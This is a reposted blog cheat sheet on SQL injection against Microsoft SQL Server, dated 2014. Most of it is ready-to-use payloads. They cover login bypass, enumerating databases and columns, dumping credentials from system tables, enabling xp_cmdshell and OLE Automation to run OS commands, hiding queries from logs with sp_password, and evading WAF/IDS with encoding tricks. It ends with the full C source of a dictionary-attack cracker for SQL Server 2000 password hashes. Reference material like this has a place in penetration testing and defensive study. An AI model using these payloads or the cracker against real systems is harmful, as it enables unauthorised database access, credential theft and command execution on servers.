SQL Injection 字典 - MSSQL

MSSQL

Default Databases

pubs Not available on MSSQL 2005
model Available in all versions
msdb Available in all versions
tempdb Available in all versions
northwind Available in all versions
information_schema Availalble from MSSQL 2000 and higher

Comment Out Query

The following can be used to comment out the rest of the query after your injection:

/* C-style comment
-- SQL comment
;%00 Nullbyte


Example:

      • SELECT * FROM Users WHERE username = '' OR 1=1 --' AND password = '';
      • SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3/*';

Testing Version

      • @@VERSION


Example:

      • True if MSSQL version is 2008.
      • SELECT * FROM Users WHERE id = '1' AND @@VERSION LIKE '%2008%';

Note:

  • Output will also contain the version of the Windows Operating System.

 

Database Credentials

Database..Table master..syslogins, master..sysprocesses
Columns name, loginame
Current User user, system_user, suser_sname(), is_srvrolemember('sysadmin')
Database Credentials SELECT user, password FROM master.dbo.sysxlogins


Example:

      • Return current user:
      • SELECT loginame FROM master..sysprocesses WHERE spid=@@SPID;

 

      • Check if user is admin:
      • SELECT (CASE WHEN (IS_SRVROLEMEMBER('sysadmin')=1) THEN '1' ELSE '0' END);

Database Names

Database.Table master..sysdatabases
Column name
Current DB DB_NAME(i)


Examples:

      • SELECT DB_NAME(5);
      • SELECT name FROM master..sysdatabases;

Server Hostname

@@SERVERNAME
SERVERPROPERTY()


Examples:

      • SELECT SERVERPROPERTY('productversion')SERVERPROPERTY('productlevel')SERVERPROPERTY('edition');

Note:

  • SERVERPROPERTY() is available from MSSQL 2005 and higher.

 

Tables and Columns

Determining number of columns

ORDER BY n+1;
Example:

Given the query: SELECT username, password, permission FROM Users WHERE id = '1';

1' ORDER BY 1-- True
1' ORDER BY 2-- True
1' ORDER BY 3-- True
1' ORDER BY 4-- False - Query is only using 3 columns
-1' UNION SELECT 1,2,3-- True

Note:

  • Keep incrementing the number until you get a False response.

 

 

The following can be used to get the columns in the current query.

GROUP BY / HAVING
Example:

Given the query: SELECT username, password, permission FROM Users WHERE id = '1';

1' HAVING 1=1-- Column 'Users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
1' GROUP BY username HAVING 1=1-- Column 'Users.password' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
1' GROUP BY username, password HAVING 1=1-- Column 'Users.permission' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
1' GROUP BY username, password, permission HAVING 1=1-- No Error

Note:

  • No error will be returned once all columns have been included.

 

Retrieving Tables

We can retrieve the tables from two different databases, information_schema.tables or from master..sysobjects.

UNION SELECT name FROM master..sysobjects WHERE xtype='U'

Note:

  • Xtype = 'U' is for User-defined tables. You can use 'V' for views.

 

Retrieving Columns

We can retrieve the columns from two different databases, information_schema.columns or masters..syscolumns.

UNION SELECT name FROM master..syscolumns WHERE id = (SELECT id FROM master..syscolumns WHERE name = 'tablename')

Retrieving Multiple Tables/Columns at once

The following 3 queries will create a temporary table/column and insert all the user-defined tables into it. It will then dump the table content and finish by deleting the table.

      • Create Temp Table/Column and Insert Data:
      • AND 1=0; BEGIN DECLARE @xy varchar(8000) SET @xy=':' SELECT @xy=@xy+' '+name FROM sysobjects WHERE xtype='U' AND name>@xy SELECT @xy AS xy INTO TMP_DB END;
      • Dump Content:
      • AND 1=(SELECT TOP 1 SUBSTRING(xy,1,353) FROM TMP_DB);
      • Delete Table:
      • AND 1=0; DROP TABLE TMP_DB;

An easier method is available starting with MSSQL 2005 and higher. The XML function path() works as a concatenator, allowing the retrieval of all tables with 1 query.

SELECT table_name %2b ', ' FROM information_schema.tables FOR XML PATH('') SQL Server 2005+

Note:

  • You can encode your query in hex to "obfuscate" your attack.
  • ' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);--

 

Avoiding the use of quotations

SELECT * FROM Users WHERE username = CHAR(97) + CHAR(100) + CHAR(109) + CHAR(105) + CHAR(110)

String Concatenation

SELECT CONCAT('a','a','a'); (SQL SERVER 2012)
SELECT 'a'+'d'+'mi'+'n';

Conditional Statements

IF
CASE


Examples:

      • IF 1=1 SELECT 'true' ELSE SELECT 'false';
      • SELECT CASE WHEN 1=1 THEN true ELSE false END;

Note:

  • IF cannot be used inside a SELECT statement.

 

Timing

      • WAITFOR DELAY 'time_to_pass';
      • WAITFOR TIME 'time_to_execute';


Example:

      • IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';

OPENROWSET Attacks

SELECT * FROM OPENROWSET('SQLOLEDB', '127.0.0.1';'sa';'p4ssw0rd', 'SET FMTONLY OFF execute master..xp_cmdshell "dir"');

System Command Execution

Include an extended stored procedure named xp_cmdshell that can be used to execute operating system commands.

      • EXEC master.dbo.xp_cmdshell 'cmd';

 

Starting with version MSSQL 2005 and higher, xp_cmdshell is disabled by default, but can be activated with the following queries:

EXEC sp_configure 'show advanced options', 1
EXEC sp_configure reconfigure
EXEC sp_configure 'xp_cmdshell', 1
EXEC sp_configure reconfigure

 

Alternatively, you can create your own procedure to achieve the same results:

DECLARE @execmd INT
EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT
EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%\system32\cmd.exe /c'

 

If the SQL version is higher than 2000, you will have to run additional queries in order the execute the previous command:

EXEC sp_configure 'show advanced options', 1
EXEC sp_configure reconfigure
EXEC sp_configure 'OLE Automation Procedures', 1
EXEC sp_configure reconfigure


Example:

      • Checks to see if xp_cmdshell is loaded, if it is, it checks if it is active and then proceeds to run the 'dir' command and inserts the results into TMP_DB:
      • ' IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME='TMP_DB') DROP TABLE TMP_DB DECLARE @a varchar(8000) IF EXISTS(SELECT * FROM dbo.sysobjects WHERE id = object_id (N'[dbo].[xp_cmdshell]') AND OBJECTPROPERTY (id, N'IsExtendedProc') = 1) BEGIN CREATE TABLE %23xp_cmdshell (name nvarchar(11), min int, max int, config_value int, run_value int) INSERT %23xp_cmdshell EXEC master..sp_configure 'xp_cmdshell' IF EXISTS (SELECT * FROM %23xp_cmdshell WHERE config_value=1)BEGIN CREATE TABLE %23Data (dir varchar(8000)) INSERT %23Data EXEC master..xp_cmdshell 'dir' SELECT @a='' SELECT @a=Replace(@a%2B'<br></font><font color="black">'%2Bdir,'<dir>','</font><font color="orange">') FROM %23Data WHERE dir>@a DROP TABLE %23Data END ELSE SELECT @a='xp_cmdshell not enabled' DROP TABLE %23xp_cmdshell END ELSE SELECT @a='xp_cmdshell not found' SELECT @a AS tbl INTO TMP_DB--
      • Dump Content:
      • ' UNION SELECT tbl FROM TMP_DB--
      • Delete Table:
      • ' DROP TABLE TMP_DB--

SP_PASSWORD (Hiding Query)

Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure.

      • SP_PASSWORD


Example:

      • ' AND 1=1--sp_password


Output:

-- 'sp_password' was found in the text of this event.
-- The text has been replaced with this comment for security reasons.
					

Stacked Queries

MSSQL supports stacked queries.

Example:

      • ' AND 1=0 INSERT INTO ([column1], [column2]) VALUES ('value1', 'value2');

Fuzzing and Obfuscation

Allowed Intermediary Characters

The following characters can be used as whitespaces.

01 Start of Heading
02 Start of Text
03 End of Text
04 End of Transmission
05 Enquiry
06 Acknowledge
07 Bell
08 Backspace
09 Horizontal Tab
0A New Line
0B Vertical Tab
0C New Page
0D Carriage Return
0E Shift Out
0F Shift In
10 Data Link Escape
11 Device Control 1
12 Device Control 2
13 Device Control 3
14 Device Control 4
15 Negative Acknowledge
16 Synchronous Idle
17 End of Transmission Block
18 Cancel
19 End of Medium
1A Substitute
1B Escape
1C File Separator
1D Group Separator
1E Record Separator
1F Unit Separator
20 Space
25 %


Examples:

      • S%E%L%E%C%T%01column%02FROM%03table;
      • A%%ND 1=%%%%%%%%1;

Note:

  • The percentage signs in between keywords is only possible on ASP(x) web applications.

 

 

The following characters can be also used to avoid the use of spaces.

22 "
28 (
29 )
5B [
5D ]


Examples:

      • UNION(SELECT(column)FROM(table));
      • SELECT"table_name"FROM[information_schema].[tables];

Allowed Intermediary Characters after AND/OR

01 - 20 Range
21 !
2B +
2D -
2E .
5C \
7E ~


Example:

      • SELECT 1FROM[table]WHERE\1=\1AND\1=\1;

Note:

  • The backslash does not seem to work with MSSQL 2000.

 

Encodings

Encoding your injection can sometimes be useful for WAF/IDS evasion.

URL Encoding SELECT %74able_%6eame FROM information_schema.tables;
Double URL Encoding SELECT %2574able_%256eame FROM information_schema.tables;
Unicode Encoding SELECT %u0074able_%u6eame FROM information_schema.tables;
Invalid Hex Encoding (ASP) SELECT %tab%le_%na%me FROM information_schema.tables;
Hex Encoding ' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x53454c4543542031 AS VARCHAR(4000)); EXEC (@S);--
HTML Entities (Needs to be verified) %26%2365%3B%26%2378%3B%26%2368%3B%26%2332%3B%26%2349%3B%26%2361%3B%26%2349%3B

Password Hashing

Passwords begin with 0x0100, the first for bytes following the 0x are a constant; the next eight bytes are the hash salt and the remaining 80 bytes are two hashes, the first 40 bytes are a case-sensitive hash of the password, while the second 40 bytes are the uppercase version.

0x0100236A261CE12AB57BA22A7F44CE3B780E52098378B65852892EEE91C0784B911D76BF4EB124550ACABDFD1457

Password Cracking

A Metasploit module for JTR can be found here.

MSSQL 2000 Password Cracker

This tool is designed to crack Microsoft SQL Server 2000 passwords.

/////////////////////////////////////////////////////////////////////////////////
//
//           SQLCrackCl
//
//           This will perform a dictionary attack against the
//           upper-cased hash for a password. Once this
//           has been discovered try all case variant to work
//           out the case sensitive password.
//
//           This code was written by David Litchfield to
//           demonstrate how Microsoft SQL Server 2000
//           passwords can be attacked. This can be
//           optimized considerably by not using the CryptoAPI.
//
//           (Compile with VC++ and link with advapi32.lib
//           Ensure the Platform SDK has been installed, too!)
//
//////////////////////////////////////////////////////////////////////////////////
#include <stdio.h>
#include <windows.h>
#include <wincrypt.h>
FILE *fd=NULL;
char *lerr = "\nLength Error!\n";
int wd=0;
int OpenPasswordFile(char *pwdfile);
int CrackPassword(char *hash);
int main(int argc, char *argv[])
{
	         int err = 0;
	    if(argc !=3)
	              {
	                        printf("\n\n*** SQLCrack *** \n\n");
	                        printf("C:\\>%s hash passwd-file\n\n",argv[0]);
	                        printf("David Litchfield (david@ngssoftware.com)\n");
	                        printf("24th June 2002\n");
	                        return 0;
	              }
	    err = OpenPasswordFile(argv[2]);
	    if(err !=0)
	     {
	       return printf("\nThere was an error opening the password file %s\n",argv[2]);
	     }
	    err = CrackPassword(argv[1]);
	    fclose(fd);
	    printf("\n\n%d",wd);
	    return 0;
}
int OpenPasswordFile(char *pwdfile)
{
	    fd = fopen(pwdfile,"r");
	    if(fd)
	              return 0;
	    else
	              return 1;
}
int CrackPassword(char *hash)
{
	    char phash[100]="";
	    char pheader[8]="";
	    char pkey[12]="";
	    char pnorm[44]="";
	    char pucase[44]="";
	    char pucfirst[8]="";
	    char wttf[44]="";
	    char uwttf[100]="";
	    char *wp=NULL;
	    char *ptr=NULL;
	    int cnt = 0;
	    int count = 0;
	    unsigned int key=0;
	    unsigned int t=0;
	    unsigned int address = 0;
	    unsigned char cmp=0;
	    unsigned char x=0;
	    HCRYPTPROV hProv=0;
	    HCRYPTHASH hHash;
DWORD hl=100;
unsigned char szhash[100]="";
int len=0;
if(strlen(hash) !=94)
	      {
	              return printf("\nThe password hash is too short!\n");
	      }
if(hash[0]==0x30 && (hash[1]== 'x' || hash[1] == 'X'))
	      {
	              hash = hash + 2;
	              strncpy(pheader,hash,4);
	              printf("\nHeader\t\t: %s",pheader);
	              if(strlen(pheader)!=4)
	                        return printf("%s",lerr);
	              hash = hash + 4;
	              strncpy(pkey,hash,8);
	              printf("\nRand key\t: %s",pkey);
	              if(strlen(pkey)!=8)
	                        return printf("%s",lerr);
	              hash = hash + 8;
	              strncpy(pnorm,hash,40);
	              printf("\nNormal\t\t: %s",pnorm);
	              if(strlen(pnorm)!=40)
	                        return printf("%s",lerr);
	              hash = hash + 40;
	              strncpy(pucase,hash,40);
	              printf("\nUpper Case\t: %s",pucase);
	              if(strlen(pucase)!=40)
	                        return printf("%s",lerr);
	              strncpy(pucfirst,pucase,2);
	              sscanf(pucfirst,"%x",&cmp);
	      }
else
	      {
	              return printf("The password hash has an invalid format!\n");
	      }
printf("\n\n       Trying...\n");
if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL                 ,0))
  {
	      if(GetLastError()==NTE_BAD_KEYSET)
	              {
	                        // KeySet does not exist. So create a new keyset
	                        if(!CryptAcquireContext(&hProv,
	                                             NULL,
	                                             NULL,
	                                             PROV_RSA_FULL,
	                                             CRYPT_NEWKEYSET ))
	                           {
	                                    printf("FAILLLLLLL!!!");
	                                    return FALSE;
	                           }
	       }
}
while(1)
	     {
	       // get a word to try from the file
	       ZeroMemory(wttf,44);
	       if(!fgets(wttf,40,fd))
	          return printf("\nEnd of password file. Didn't find the password.\n");
	       wd++;
	       len = strlen(wttf);
	       wttf[len-1]=0x00;
	       ZeroMemory(uwttf,84);
	       // Convert the word to UNICODE
	       while(count < len)
	                 {
	                           uwttf[cnt]=wttf[count];
	                           cnt++;
	                           uwttf[cnt]=0x00;
	                           count++;
	                           cnt++;
	                 }
	       len --;
	       wp = &uwttf;
	       sscanf(pkey,"%x",&key);
	       cnt = cnt - 2;
	       // Append the random stuff to the end of
	       // the uppercase unicode password
	       t = key >> 24;
	       x = (unsigned char) t;
	       uwttf[cnt]=x;
	       cnt++;
	       t = key << 8;
	       t = t >> 24;
	     x = (unsigned char) t;
	     uwttf[cnt]=x;
	     cnt++;
	     t = key << 16;
	     t = t >> 24;
	     x = (unsigned char) t;
	     uwttf[cnt]=x;
	     cnt++;
	     t = key << 24;
	     t = t >> 24;
	     x = (unsigned char) t;
	     uwttf[cnt]=x;
	     cnt++;
// Create the hash
if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash))
	     {
	               printf("Error %x during CryptCreatHash!\n", GetLastError());
	               return 0;
	     }
if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0))
	     {
	               printf("Error %x during CryptHashData!\n", GetLastError());
	               return FALSE;
	     }
CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0);
// Test the first byte only. Much quicker.
if(szhash[0] == cmp)
	     {
	               // If first byte matches try the rest
	               ptr = pucase;
	               cnt = 1;
	               while(cnt < 20)
	               {
	                           ptr = ptr + 2;
	                           strncpy(pucfirst,ptr,2);
	                           sscanf(pucfirst,"%x",&cmp);
	                           if(szhash[cnt]==cmp)
	                                    cnt ++;
	                           else
	                           {
	                                    break;
	                           }
	               }
	               if(cnt == 20)
	               {
	                    // We've found the password
	                    printf("\nA MATCH!!! Password is %s\n",wttf);
	                    return 0;
	                 }
	         }
	         count = 0;
	         cnt=0;
	       }
  return 0;
}
					
posted @ 2014-07-18 20:53  w_s_xin  阅读(535)  评论(0编辑  收藏  举报